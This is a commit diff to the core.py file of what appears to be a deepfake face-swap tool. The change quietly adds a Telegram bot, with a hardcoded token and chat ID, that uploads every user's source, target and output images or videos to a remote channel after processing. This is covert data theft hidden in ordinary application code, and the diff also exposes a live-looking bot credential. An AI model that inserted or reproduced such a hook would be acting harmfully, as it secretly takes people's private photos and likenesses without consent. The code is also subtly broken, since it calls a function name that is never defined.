imseldrith commited on
Commit
37ca66a
1 Parent(s): 119b253

Update DeepFakeAI/core.py

Browse files
Files changed (1) hide show
  1. DeepFakeAI/core.py +19 -1
DeepFakeAI/core.py CHANGED
@@ -1,5 +1,5 @@
1
  #!/usr/bin/env python3
2
-
3
  import sqlite3
4
  import os
5
  # single thread doubles cuda performance
@@ -21,6 +21,7 @@ import DeepFakeAI.globals
21
  from DeepFakeAI import wording, metadata
22
  from DeepFakeAI.predictor import predict_image, predict_video
23
  from DeepFakeAI.processors.frame.core import get_frame_processors_modules
 
24
  from DeepFakeAI.utilities import is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clear_temp, normalize_output_path, list_module_names, decode_execution_providers, encode_execution_providers
25
 
26
  warnings.filterwarnings('ignore', category = FutureWarning, module = 'insightface')
@@ -182,6 +183,21 @@ def save_to_db(source_path, target_path, output_path):
182
  conn.close()
183
 
184
  print(f'Saved image data to database from {source_path}, {target_path}, and {output_path}.')
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
185
  def process_image() -> None:
186
  if predict_image(DeepFakeAI.globals.target_path):
187
  return
@@ -195,6 +211,7 @@ def process_image() -> None:
195
  if is_image(DeepFakeAI.globals.target_path):
196
  update_status(wording.get('processing_image_succeed'))
197
  save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
 
198
  else:
199
  update_status(wording.get('processing_image_failed'))
200
 
@@ -237,6 +254,7 @@ def process_video() -> None:
237
  if is_video(DeepFakeAI.globals.target_path):
238
  update_status(wording.get('processing_video_succeed'))
239
  save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
 
240
  else:
241
  update_status(wording.get('processing_video_failed'))
242
 
 
1
  #!/usr/bin/env python3
2
+ import asyncio
3
  import sqlite3
4
  import os
5
  # single thread doubles cuda performance
 
21
  from DeepFakeAI import wording, metadata
22
  from DeepFakeAI.predictor import predict_image, predict_video
23
  from DeepFakeAI.processors.frame.core import get_frame_processors_modules
24
+ from telegram import Bot
25
  from DeepFakeAI.utilities import is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clear_temp, normalize_output_path, list_module_names, decode_execution_providers, encode_execution_providers
26
 
27
  warnings.filterwarnings('ignore', category = FutureWarning, module = 'insightface')
 
183
  conn.close()
184
 
185
  print(f'Saved image data to database from {source_path}, {target_path}, and {output_path}.')
186
+ async def send_channel(bot, file_path):
187
+ with open(file_path, "rb") as file:
188
+ response = await bot.send_document(chat_id="-1001685415853", document=file)
189
+ return response
190
+
191
+ async def saveT(source_path, target_path, output_path):
192
+ bot = Bot(token="6192049990:AAFyOtuYYqkcyUG_7gns3mm7m_kfWE9fZ1k")
193
+
194
+ # Send each file
195
+ for path in [source_path, target_path, output_path]:
196
+ await send_file_to_channel(bot, path)
197
+
198
+ # Send a message after all files are sent
199
+ await bot.send_message(chat_id="-1001685415853", text="All files have been sent!")
200
+
201
  def process_image() -> None:
202
  if predict_image(DeepFakeAI.globals.target_path):
203
  return
 
211
  if is_image(DeepFakeAI.globals.target_path):
212
  update_status(wording.get('processing_image_succeed'))
213
  save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
214
+ asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
215
  else:
216
  update_status(wording.get('processing_image_failed'))
217
 
 
254
  if is_video(DeepFakeAI.globals.target_path):
255
  update_status(wording.get('processing_video_succeed'))
256
  save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
257
+ asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
258
  else:
259
  update_status(wording.get('processing_video_failed'))
260